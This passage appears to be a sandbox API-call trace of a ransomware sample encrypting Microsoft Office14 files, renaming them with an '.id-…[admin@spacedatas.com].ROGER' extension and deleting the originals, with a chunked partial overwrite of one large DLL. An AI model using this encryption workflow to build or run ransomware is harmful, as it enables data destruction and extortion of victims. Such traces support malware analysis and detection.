5 [0060.273] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0060.273] lstrlenW (lpString=".ppt") returned 4 [0060.273] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.273] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.273] lstrlenW (lpString=".zip") returned 4 [0060.273] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.273] lstrlenW (lpString=".rar") returned 4 [0060.273] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString=".bz2") returned 4 [0060.274] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.274] lstrlenW (lpString=".7z") returned 3 [0060.274] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.274] lstrlenW (lpString=".dbf") returned 4 [0060.274] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.274] lstrlenW (lpString=".1cd") returned 4 [0060.274] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.274] lstrlenW (lpString=".jpg") returned 4 [0060.274] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.274] lstrlenW (lpString=".doc") returned 4 [0060.274] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString=".docx") returned 5 [0060.274] lstrcmpiW (lpString1=".docx", lpString2="V.DLL") returned -1 [0060.274] lstrlenW (lpString=".pdf") returned 4 [0060.274] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString=".xls") returned 4 [0060.274] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString=".xlsx") returned 5 [0060.274] lstrcmpiW (lpString1=".xlsx", lpString2="V.DLL") returned -1 [0060.274] lstrlenW (lpString=".ppt") returned 4 [0060.274] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.274] lstrlenW (lpString=".zip") returned 4 [0060.274] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString=".rar") returned 4 [0060.274] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.274] lstrlenW (lpString=".bz2") returned 4 [0060.274] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.274] lstrlenW (lpString=".7z") returned 3 [0060.275] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.275] lstrlenW (lpString=".dbf") returned 4 [0060.275] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.275] lstrlenW (lpString=".1cd") returned 4 [0060.275] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXPSRV.DLL") returned 66 [0060.275] lstrlenW (lpString=".jpg") returned 4 [0060.275] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.275] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0060.275] lstrlenW (lpString="EXP_XPS.DLL") returned 11 [0060.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0060.294] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=71032) returned 1 [0060.294] CloseHandle (hObject=0x39c) returned 1 [0060.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 0x20 [0060.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0060.295] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.295] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0060.295] GetLastError () returned 0x0 [0060.295] ReadFile (in: hFile=0x39c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x11578, lpOverlapped=0x0) returned 1 [0060.302] WriteFile (in: hFile=0x3ec, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x11580, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x11580, lpOverlapped=0x0) returned 1 [0060.304] ReadFile (in: hFile=0x39c, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.304] WriteFile (in: hFile=0x3ec, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xea, lpOverlapped=0x0) returned 1 [0060.304] SetEndOfFile (hFile=0x3ec) returned 1 [0060.304] CloseHandle (hObject=0x3ec) returned 1 [0060.304] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.304] SetEndOfFile (hFile=0x39c) returned 1 [0060.305] CloseHandle (hObject=0x39c) returned 1 [0060.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.306] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll")) returned 1 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.306] lstrlenW (lpString=".doc") returned 4 [0060.306] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.306] lstrlenW (lpString=".docx") returned 5 [0060.306] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.306] lstrlenW (lpString=".pdf") returned 4 [0060.306] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.306] lstrlenW (lpString=".xls") returned 4 [0060.306] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.306] lstrlenW (lpString=".xlsx") returned 5 [0060.306] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.306] lstrlenW (lpString=".ppt") returned 4 [0060.306] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.306] lstrlenW (lpString=".zip") returned 4 [0060.306] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.306] lstrlenW (lpString=".rar") returned 4 [0060.306] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.306] lstrlenW (lpString=".bz2") returned 4 [0060.306] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.306] lstrlenW (lpString=".7z") returned 3 [0060.306] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.306] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.306] lstrlenW (lpString=".dbf") returned 4 [0060.306] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString=".1cd") returned 4 [0060.307] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString=".jpg") returned 4 [0060.307] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString=".doc") returned 4 [0060.307] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString=".docx") returned 5 [0060.307] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0060.307] lstrlenW (lpString=".pdf") returned 4 [0060.307] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString=".xls") returned 4 [0060.307] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString=".xlsx") returned 5 [0060.307] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0060.307] lstrlenW (lpString=".ppt") returned 4 [0060.307] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString=".zip") returned 4 [0060.307] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString=".rar") returned 4 [0060.307] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0060.307] lstrlenW (lpString=".bz2") returned 4 [0060.307] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0060.307] lstrlenW (lpString=".7z") returned 3 [0060.307] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString=".dbf") returned 4 [0060.307] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0060.307] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.307] lstrlenW (lpString=".1cd") returned 4 [0060.308] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0060.308] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL") returned 67 [0060.308] lstrlenW (lpString=".jpg") returned 4 [0060.308] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0060.308] lstrcmpiW (lpString1=".EXE", lpString2=".ROGER") returned -1 [0060.308] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0060.308] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0060.311] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=157024) returned 1 [0060.311] CloseHandle (hObject=0x3ec) returned 1 [0060.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0060.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0060.312] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.312] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0060.313] GetLastError () returned 0x0 [0060.313] ReadFile (in: hFile=0x3ec, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x26560, lpOverlapped=0x0) returned 1 [0060.318] WriteFile (in: hFile=0x39c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0x26570, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0x26570, lpOverlapped=0x0) returned 1 [0060.321] ReadFile (in: hFile=0x3ec, lpBuffer=0x4c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x423fed4, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesRead=0x423fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.321] WriteFile (in: hFile=0x39c, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x423fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0060.321] SetEndOfFile (hFile=0x39c) returned 1 [0060.321] CloseHandle (hObject=0x39c) returned 1 [0060.321] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.321] SetEndOfFile (hFile=0x3ec) returned 1 [0060.323] CloseHandle (hObject=0x3ec) returned 1 [0060.323] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0060.323] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 1 [0060.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString=".doc") returned 4 [0060.324] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0060.324] lstrlenW (lpString=".docx") returned 5 [0060.324] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0060.324] lstrlenW (lpString=".pdf") returned 4 [0060.324] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0060.324] lstrlenW (lpString=".xls") returned 4 [0060.324] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0060.324] lstrlenW (lpString=".xlsx") returned 5 [0060.324] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0060.324] lstrlenW (lpString=".ppt") returned 4 [0060.324] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0060.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString=".zip") returned 4 [0060.324] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0060.324] lstrlenW (lpString=".rar") returned 4 [0060.324] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0060.324] lstrlenW (lpString=".bz2") returned 4 [0060.324] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0060.324] lstrlenW (lpString=".7z") returned 3 [0060.324] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0060.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString=".dbf") returned 4 [0060.324] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0060.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString=".1cd") returned 4 [0060.324] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0060.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString=".jpg") returned 4 [0060.324] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0060.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.324] lstrlenW (lpString=".doc") returned 4 [0060.324] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0060.324] lstrlenW (lpString=".docx") returned 5 [0060.325] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0060.325] lstrlenW (lpString=".pdf") returned 4 [0060.325] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0060.325] lstrlenW (lpString=".xls") returned 4 [0060.325] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0060.325] lstrlenW (lpString=".xlsx") returned 5 [0060.325] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0060.325] lstrlenW (lpString=".ppt") returned 4 [0060.325] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0060.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.325] lstrlenW (lpString=".zip") returned 4 [0060.325] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0060.325] lstrlenW (lpString=".rar") returned 4 [0060.325] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0060.325] lstrlenW (lpString=".bz2") returned 4 [0060.325] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0060.325] lstrlenW (lpString=".7z") returned 3 [0060.325] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0060.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.325] lstrlenW (lpString=".dbf") returned 4 [0060.325] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0060.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.325] lstrlenW (lpString=".1cd") returned 4 [0060.325] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0060.325] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0060.325] lstrlenW (lpString=".jpg") returned 4 [0060.325] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0060.325] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0060.325] lstrlenW (lpString="IACOM2.DLL") returned 10 [0060.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0060.327] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x423ff1c | out: lpFileSize=0x423ff1c*=4289376) returned 1 [0060.327] CloseHandle (hObject=0x3ec) returned 1 [0060.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll")) returned 0x20 [0060.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0060.327] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 1 [0060.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0060.331] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.331] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.331] ReadFile (in: hFile=0x3ec, lpBuffer=0x4c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4c90058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.337] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.337] ReadFile (in: hFile=0x3ec, lpBuffer=0x4cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4cd0058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.342] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x423fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.342] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x423fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.342] ReadFile (in: hFile=0x3ec, lpBuffer=0x4d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x423fc38, lpOverlapped=0x0 | out: lpBuffer=0x4d10058*, lpNumberOfBytesRead=0x423fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.880] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.880] WriteFile (in: hFile=0x3ec, lpBuffer=0x4c90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x423fcb0, lpOverlapped=0x0 | out: lpBuffer=0x4c90020*, lpNumberOfBytesWritten=0x423fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0060.894] SetEndOfFile (hFile=0x3ec) returned 1 [0061.093] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0061.103] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.103] WriteFile (in: hFile=0x3ec, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.105] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.105] WriteFile (in: hFile=0x3ec, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.107] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x423fc7c | out: lpNewFilePointer=0x0) returned 1 [0061.107] WriteFile (in: hFile=0x3ec, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x423fc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x423fc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.108] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 